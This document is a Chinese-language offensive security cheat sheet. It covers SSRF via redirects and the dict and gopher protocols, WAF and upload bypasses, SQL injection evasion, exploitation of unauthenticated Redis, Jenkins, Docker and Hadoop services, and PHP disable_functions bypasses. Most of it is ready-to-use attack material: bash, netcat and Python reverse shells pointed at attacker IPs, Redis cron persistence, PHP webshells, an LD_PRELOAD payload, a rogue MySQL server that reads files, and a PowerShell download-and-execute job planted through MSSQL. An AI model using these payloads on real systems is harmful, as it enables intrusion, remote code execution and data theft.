十六进制:0x7f.0.0.1
十进制:2130706433
http://www.bejson.com/convert/ip2int/
句号
127。0。0。1
302脚本
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");
?>
攻击方VPS监听8080
dict协议
dict://www.attack.com:8080/hello:dict等于
ssrf.php?url=http://attack.com/302.php?s=dict&ip=www.attack.com&port=8080&data=hello:dict
Gopher协议
gopher:// www.attack.com:8080/gopher
ssrf.php?url=http://attack.com/302.php?s=gopher&ip=www.attack.com&port=8080&data=gopher
File协议
攻击机新建file.php
<?php
header("Location: file:///etc/passwd");
?>
ssrf.php?url=http://attack.com/file.php
gopher协议的脚本转换
抓取本地测试的正常请求
>socat -v tcp-listen:4444,fork tcp-connect:目标IP:6379

image image

将捕获日志保存txt
使用脚本转换为支持gopher协议的字符串
转换规则
如果第一个字符是>或者< 那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
将\r字符串替换成%0d%0a
空白行替换为%0a

image

本地可执行

image

远程执行需对空格进行编码后再url编码一次
*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$63%0d%0a%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/192.168.0.108/12138%200>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

image image image

协议
Curl版本需低于7.15.1
file:可回显时,使用file读取任意文件
dict:查看端口,操作内网服务
gopher:可发出get/post请求
使用gopher协议时,要进行两次url编码
http/https:探测存活主机
dict协议写shell
?url=dict://127.0.0.1:6379/set:x:<?php phpinfo();?>
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:php.php
?url=dict://127.0.0.1:6379/save
Unicode编码
?url=dict://127.0.0.1:6379/set:x:"\x3C\x3Fphp\x20echo `$_GET[x]`\x3B\x3F\x3E"
slaveof复制shell到目标
From:http://r3start.net/index.php/2020/05/09/683
你的redis设置一个shell的键
Yourredis>FLUSHALL
Yourredis>set shell "<?php phpinfo();?>"
?url=dict://127.0.0.1:6379/slaveof:yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dir:/www/wwwroot/
?url=dict://127.0.0.1:6379/config:set:dbfilename:test.php
?url=dict://127.0.0.1:6379/save
?url=dict://127.0.0.1:6379/slaveof:no:one
slaveof反弹shell
?url=dict://127.0.0.1:6379/slaveof: yourredisIP:6379
?url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so
?url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so
?url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE
?url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb
?url=dict://127.0.0.1:6379/system.exec:'curl x.x.x.x/x'
?url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887

Fuzz/扫描web

#dirb http://192.168.0.1 /root/asp.txt,/root/dir.txt -a "USER-AGENT" –c "Cookie" -z 100
#nikto -C all -h http://192.168.0.107 nikto扫描web服务
#wpscan --url http://192.168.0.107/ -e u --wordlist /root/wordlist.txt 枚举用户爆破密码
#wpscan --url http://192.168.0.107/ -e vp 扫描漏洞插件
#perl joomscan.pl --url 192.168.0.107
WFuzz
爆破文件和文件夹
>wfuzz -w wordlist URL/FUZZ.php
>wfuzz -w wordlist URL/FUZZ
枚举数字参数
>wfuzz -z range,000-999 -b session=session -b cookie=cookie http://127.0.0.1/getuser.php?uid=FUZZ
POST账号密码爆破FUZnZ
>wfuzz -w userList -w pwdList -d "username=FUZZ&password=FUZ2Z" http://127.0.0.1/login.php
随机HTTP头
>wfuzz -z range,0000-9999 -H "X-Forwarded-For: FUZZ" http://127.0.0.1/get.php?userid=666
使用代理fuzz
>wfuzz -w wordlist -p 127.0.0.1:1087:SOCKS5 URL/FUZZ
基础认证爆破
>wfuzz -z list,"username-password" --basic FUZZ:FUZZ URL
【结果过滤】--hc或--ss不显示符合条件的结果。
【结果过滤】--sc或--sl或--sw或--sh显示符合条件的结果。
Cewl
爬行网站存为字典
>cewl http://www.qq.com/ -w dict.txt
指定字典长度
>cewl http://www.qq.com/ -m 9 -w dict.txt
网站提取Email
>cewl http://www.qq.com/ -n –e
Dirsearch
>python3 dirsearch.py --random-user-agents --recursive --thread 50 --extension php --plain-text-report report.txt –url http://127.0.0.1

Bypass WAF

SQL注入分块传输
https://github.com/c0ny1/chunked-coding-converter

image image

跑注入点被拦截

image

使用分块传输,右键选择

image image

使用SQLMAP跑注入

image image

>python sqlmap.py -r 1.txt --batch --proxy=http://127.0.0.1:8080 --dbs

image

自动提供可用的tamper
https://github.com/m4ll0k/Atlas
GET类型的注入
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
POST类型的注入
python atlas.py --url http://site.com/index/id/ -m POST -D 'test=%%10%%' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
请求头注入
python atlas.py --url http://site.com/index/id/ -H 'User-Agent: mozilla/5.0%%inject%%' -H 'X-header: test' --payload="-1234 AND 4321=4321-- AAAA" --random-agent -v
组合tamper
python atlas.py --url http://site.com/index/id/%%10%% --payload="-1234 AND 4321=4321-- AAAA" --concat "equaltolike,htmlencode" --random-agent -v
列出tamper
python atlas.py -g
例子
注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3

image

可以看到被拦截了
查找能绕过的tamper
python atlas.py --url 'http://site.com/index.php?id=Price_ASC' --payload="') AND 8716=4837 AND ('yajr'='yajr" --random-agent -v

image

根据返回码200得到一个可绕过waf的tamper
versionedkeywords这个tamper
继续注入
python sqlmap.py -u 'http://site.com/index.php?id=Price_ASC' --dbs --random-agent -v 3 --tamper=versionedkeywords
根据状态码来判断有时会有点鸡肋,但是也能用用,随机发挥吧。
垃圾数据
#coding=utf-8
import random,string
from urllib import parse
# code by yzddMr6
varname_min = 5
varname_max = 15
data_min = 20
data_max = 25
num_min = 50
num_max = 100
def randstr(length):
	str_list = [random.choice(string.ascii_letters) for i in range(length)]
	random_str = ''.join(str_list)
	return random_str
def main():
	data={}
	for i in range(num_min,num_max):
		data[randstr(random.randint(varname_min,varname_max))]=randstr(random.randint(data_min,data_max))
	print('&'+parse.urlencode(data)+'&')
main()
放到要注入的字段前后
上传bypass
图片文件头
PNG 的文件头为十六进制的 89 50 4E 47 0D 0A 1A 0A
GIF 为 47 49 46 38 37 61
JPG 为 FF D8 FF E0
添加图片头或合并图片包含
后缀大小写
文件名前缀加[0x09]
上传.htaccess
SetHandler application/x-httpd-php
二次渲染
GIF
找好一个大一点的GIF,尾部使用c32插入shell,上传,下载回来,使用burp的comparer功能找出整个文件没有被渲染的位置,插入shell再上传
JPG
使用脚本直接生成
https://github.com/BlackFan/jpg_payload
PNG
使用脚本直接生成
先取消php.ini注释;extension=php_gd2.dll
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
       0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
       0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
       0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
       0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
       0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
       0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
       0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
	$r = $p[$y];
	$g = $p[$y+1];
	$b = $p[$y+2];
	$color = imagecolorallocate($img, $r, $g, $b);
	imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
上传php3,php4,phtml等
文件名后加::$DATA
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA"
ConTent-Disposition: form-data; name="filepath"; filename="1.asp::$DATA\0x00\1.asp0x00.jpg"
asp . (空格+.)
php. .(点+空格+点)
双写phphpp
00截断
Get参数00截断直接添加%00
POST参数00截断修改hex为00
修改一些固定的参数
文件名去掉双引号
加一个filename1的参数
form变量改成f+orm
去掉form-data
在Content-Disposition或form-data;后添加多个空格
引号回车
ConTent-Disposition: form-data; name="filepath"; filename="backlion.asp
"
Content-Type和ConTent-Disposition调换位置
文件名前缀加空格
filename=    "1.asp"
name前加空格
Content-Disposition: form-data;      name="uploaded"; filename="1.asp"
form-data的前后加上+
Content-Disposition: +form-data; name="filepath"; filename="1.asp"
ASP+IIS
s%elect>select
s%u0065lect>select  
s%u00f0lect>select
s%u0045lect = s%u0065lect = %u00f0lect
u -->%u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
Asp+iis&aspx+iis
s%u006c%u0006ect>select
apache
TEST /sql.php?id=1 HTTP/1.1
大小写/关键字
UniOn SeLECT
Mid()substring()  substr()
Hex()ascii()
sleep() =benchmark()
concat_ws()=group_concat()
双重url编码
变换请求方式
HPP参数污染
id=1&id=2&id=3
得到的结果:Asp.net + iis:id=1,2,3 
Asp+iis:id=1,2,3 
Php+apache:id=3
MSSQL:
GET+POST: 
GET:http://192.168.125.140/test/sql.aspx?id=1 union/*
post:  id=2*/select null,null,null
无逗号形式:
?id=1 union select 1&id=2&id=3&id=4 from admin--()  
利用逗号:
?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
无效参数形式:
?a=/*&sql=xxx&b=*/  a,b为无效参数
溢出形式:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union  select null,system_user,null from INFORMATION_SCHEMA.schemata
MYSQL:
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin
数据库
Access
空格符
%09、%0a、%0c、%0d、%16
Mysql
注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符,可结合注释符使用%23%0a,%2d%2d%0a。
%21  ! 叹号
%2b  +  加号
%2d  -  减号
%40  @  符号
%7e   ~  波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user()   //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)) 
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)# 
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5) 
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}
MSSQL
注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格
WAF
同时提交GET和POST
访问HTTP绕过对HTTPS的防护
%00截断
参数填充垃圾数据,缓冲区溢出
X-FORWARDED-FOR伪造绕过
静态文件/sql.php/1.js?id=1绕过
白名单绕过,URL只要存在某字符就不会拦截
/sql.php/admin.php?id=1
/sql.php?a=/manage/&b=../etc/passwd
/../../../manage/../sql.asp?id=2
伪造User-agent绕过,可改为爬虫agent

未授权访问

Redis未授权访问
测试
>redis-cli -h 127.0.0.1 flunshall 
192.168.0.110:6379>ping
PONG 存在未授权访问
JS打内网
var cmd = new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('flushall\r\n');             
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");      
cmd.send('eval \'' + 'redis.call(\"set\",\"1\",\"\\n\\n*/1 * * * * /bin/bash -i >&/dev/tcp/外网IP/5566 0>&1\\n\\n");redis.call(\"config\", \"set\", \"dir\",\"/var/spool/cron/\"); redis.call(\"config\",\"set\", \"dbfilename\", \"root\");' + '\' 0' +"\r\n");       
var cmd =new XMLHttpRequest();      
cmd.open("POST", "http://127.0.0.1:6379");       
cmd.send('save\r\n');
反弹shell
保存为sh
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.0.108/12138 0>&1\n\n"|redis-cli -h $1 -p $2 -x set 1
echo -e "\n\n */1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.108",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit
执行
>bash 1.sh 192.168.0.120 6379

image image

写shell
6379> config set dir /var/www/html/
6379> config set dbfilename shell.php
6379> set x "<?php phpinfo();?>"
6379> save
SSH
ssh-keygen
本地生成一对密钥
https://github.com/JoyChou93/hackredis
>ssh-keygen -t rsa -C "xx@xx.com"
>(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > qq.txt
>redis-cli -h 127.0.0.1 flunshall
>cat qq.txt | redis-cli -h 127.0.0.1 -x set crackit
>redis-cli -h 127.0.0.1
6379> config set dir /root/.ssh/
6379> config set dbfilename "authorized_keys"
6379> save
本地登录
#ssh -i id_rsa root@11.11.11.11
redis-rogue-getshell
https://github.com/vulhub/redis-rogue-getshell
需要python3.0以上
编译
>cd RedisModulesSDK/
>make
会在此目录下生成exp.so
执行命令
>python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd"

image

redis-rogue-server
https://github.com/n0b0dyCN/redis-rogue-server
需要python3.6以上
编译
>cd RedisModulesSDK/exp
>make
执行
>./redis-rogue-server.py --rhost 192.168.0.120 --lhost 192.168.0.108

image image

也可以反向shell

image image

redis在windows下的利用
Web目录写入木马
启动项
系统DLL劫持(目标重启或注销)
特定软件的DLL劫持
覆盖快捷方式
覆盖配置文件
覆盖sethc等文件
https://github.com/r35tart/RedisWriteFile
>python3 rediswritefile.py --rhost=目标IP --rport=6379 --lhost=本机IP --lport=本地端口 --rpath="在目标保存的路径" --rfile="在目标保存的文件" --lfile="本地文件" --auth=redis密码
Lua RCE
https://github.com/QAX-A-Team/redis_lua_exploit
修改redis_lua.py里的 host 为目标 IP
执行返回正常,反弹shell
>eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.0.108/12345 0>&1', 8)" 0
Jenkins未授权访问
http://www.qq.com:8080/manage
http://www.qq.com:8080/script
执行命令
>println "ifconfig -a".execute().text
反弹shell
>println "wget http://your.com/back.py -P /tmp/".execute().text
>println "python /tmp/back.py yourIP 8080".execute().text
写shell
>println "wget http://your.com/t.txt -o /var/www/html/1.php".execute().text
>new File("/var/www/html/1.php").write('<?php @eval($_POST[1]);?>');
>def webshell = '<?php @eval($_POST[1]);?>'
>new File("/var/www/html/1.php").write("$webshell");
MongoDB未授权访问
默认端口27017直接连接进行增删改查
连接工具
https://s3.mongobooster.com/download/releasesv5/nosqlbooster4mongo-5.1.12.exe
ZooKeeper未授权访问
默认端口2181
获得服务器环境信息
>echo envi|nc 192.168.0.1 2181
连接
>./zkCli.sh -server ip:port
连接工具
https://issues.apache.org/jira/secure/attachment/12436620/ZooInspector.zip
Elasticsearch未授权访问
默认端口9200
http://1.1.1.1:9200/_plugin/head/
http://1.1.1.1:9200/_nodes
http://1.1.1.1:9200/_river
http://1.1.1.1:9200/_plugin/sql/
Memcache未授权访问
默认端口11211
>telnet 1.1.1.1 11211
>nc -vv 1.1.1.1 11211
Hadoop未授权访问
http://192.168.1.1:8088/cluster
本地监听端口 >> 创建Application >> 调用Submit Application API提交
#!/usr/bin/env python
import requests

target = 'http://192.168.18.129:8088/'
lhost = '192.168.18.138' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
Docker未授权访问
默认端口2375
>docker -H tcp://1.1.1.1:2375 images
本地监听
启动容器
docker -H tcp://1.1.1.1:2375 run -id -v /etc/crontabs:/tmp alpine:latest
docker -H tcp://1.1.1.1:2375 ps
进入容器
docker -H tcp://1.1.1.1:2375 exec -it a8ff7ed880fb sh
echo '* * * * * /usr/bin/nc {vps_ip} 9999 -e /bin/sh' >> /tmp/root #添加计划任务
cat /tmp/root 
exit
Shipyard默认密码
admin/shipyard
ActiveMQ未授权访问
默认端口8161
http://1.1.1.1:8161/admin/connections.jsp
PUT /fileserver/%2F%2F2%083.jsp HTTP/1.0
Content-Length: 27
Host: 1.1.1.1:8161
Connection: Close
Authorization: Basic YWRtaW46YWRtaW4=
123123123123123123123123123
JBOSS未授权访问
http://192.168.1.1:8080/jmx-console/ 无需认证进入
jboss.deployment部署shell
addURL()的paramValue写入远程war木马地址

阿里云OSS Key利用

反编译app文件,查找可能会包含oss key的文件,如JS。
OSSAccessKey、AccessKeySecret使用OSS浏览器访问。
第三方行云管家可修改系统密码。
反弹shell
From: https://xz.aliyun.com/t/8310
https://api.aliyun.com/#/?product=Ecs
搜索框搜索选择CreateCommand来创建一个命令
CommandContent填命令的base64,Type填RunShellScript
命令echo "bash -i >& /dev/tcp/你的IP/端口 0>&1"| base64
bash -i >& /dev/tcp/你的IP/端口 0>&1
YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xLjEuMS4xLzQ0NDQgMCZndDsmMQ==

image

填好以后点调试SDK
会直接给你起一个Cloud shell

image

并创建一个CreateCommand.py文件,使用vi编辑

image

填accessKeyId,accessSecret保存执行,并记录Commandid

image

再次在搜索框搜索InvokeCommand

image

Commandid填上面请求的返回值,InstanceId填行云管家显示的实例ID

image

填好了点调试sdk然后编辑文件把accessKeyId accessSecret填一下,执行

image

然后看监听的服务器shell已经反弹成功

image

Linux绕过disable_function

LD_PRELOAD
linux环境
putenv()、mail()可用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
outpath是命令输出位置,sopath指定so文件路径。
或
替换php文件中的mail为error_log("a",1);
php7.0-7.3 bypass
直接bypass
https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php
windows系统组件com绕过
<?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
CGI启动方式
phpinfo中搜索server api是cgi或者fastcgi
如果是cgi模式:上传如下htaccess
Options ExecCGI
AddHandler cgi-script .xx
windows平台
#!C:/Windows/System32/cmd.exe /c start calc.exe
1
linux平台
#!/bin/bash
echo -ne "Content-Type: text:html\n\n"
whoami
如果是fast_cgi,上传如下htaccess
Options +ExecCGI
AddHandler fcgid-script .abc
FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc
上传任意文件.abc
相对路径
AddHandler fcgid-script .html
FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html

AddHandler fcgid-script .xx
FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
ImageMagick组件绕过
imageMagick 版本 v6.9.3-9 或 v7.0.1-0
第一种
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'    //核心
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
第二种
#include <stdlib.h>
#include <string.h>
void payload() {
const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444";
system(cmd);
}
int fileno() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
编译
gcc -shared -fPIC imag.c -o imag.so
<?php
putenv('LD_PRELOAD=/var/www/html/imag.so');
$img = new Imagick('/tmp/1.ps');
?>
常规函数绕过
<?php
echo exec('whoami');?>
------------------------------------------------------
<?php
echo shell_exec('whoami');?>
------------------------------------------------------
<?php
system('whoami');?>
------------------------------------------------------
<?php
passthru("whoami");?>
------------------------------------------------------
<?php
$command=$_POST['cmd'];
$handle = popen($command , "r");
while(!feof($handle))
{        echo fread($handle, 1024);  //fread($handle, 1024);
}
pclose($handle);?>
-------------------------------------------------------
<?php
$command="ipconfig";
$descriptorspec = array(1 => array("pipe", "w"));
$handle = proc_open($command ,$descriptorspec , $pipes);
while(!feof($pipes[1]))
{        echo fread($pipes[1], 1024); //fgets($pipes[1],1024);
}?>
pcntl_exec
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux
<?php
if(function_exists('pcntl_exec')) {
pcntl_exec("/bin/bash", array("/tmp/test.sh"));
} else {
echo 'pcntl extension is not support!';
}
?>
test.sh
#!/bin/bash
nc -e /bin/bash 1.1.1.1 8888       #反弹shell
imap_open函数
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', '');
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
php7.4 FFI绕过
php 7.4
ffi.enable=true
<?php
$a='nc -e /bin/bash ip 8888';
$ffi = FFI::cdef(
    "int system(char *command);",
    "libc.so.6");
$ffi->system($a);
?>
shellshock
存在CVE-2014-6271漏洞
PHP 5.*,linux,putenv()、mail()可用
<?php
function shellshock($cmd) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv");
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
蚁剑插件
01利用LD_PRELOAD环境变量
02利用ShellShock(CVE-2014-6271)
03利用Apache Mod CGI
04 PHP-FPM利用LD_PRELOAD环境变量(同1)
05攻击PHP-FPM监听端口
06 Json Serializer UAF
07具有特定析构函数UAF的PHP7 GC

open_basedir绕过

第一种
http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};
http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
第二种
http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd');
http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27))
第三种
命令执行绕过
读文件
?a=show_source('preload.php');
?a=echo(readfile('preload.php'));
?a=print_r(readfile('preload.php'));
?a=echo(file_get_contents('preload.php'));
?a=print_r(file_get_contents('preload.php'));

Tomcat Ajp LFI&RCE

LFI
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
>python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass

image

RCE
>msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg
配合目标文件上传传入服务器

image

>java -jar ajpfuzzer_v0.6.jar
>connect 192.168.0.110 8009
>forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"

image

Mysql连接文件读取

https://github.com/Gifts/Rogue-MySql-Server
客户端必须启用LOCAL-INFILE 
客户端支持非SSL连接
目标web存在adminer等可检查数据库连接的脚本。
攻击机本地运行python构造假mysql服务,使用目标web连接,读取文件。
#coding=utf-8 
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3305))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()

Mysql开启外连

>grant all privileges on user.* to user@"%" identified by "P@ssw0rd";

MSSQL&Agent Job上线

USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now ';
使用在注入点处,使用burp进行url编码,编码后前面加%20(空格URL编码)

注入无列名

http://url/index.php?id=1 order by 6
http://url/index.php?id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)-- -
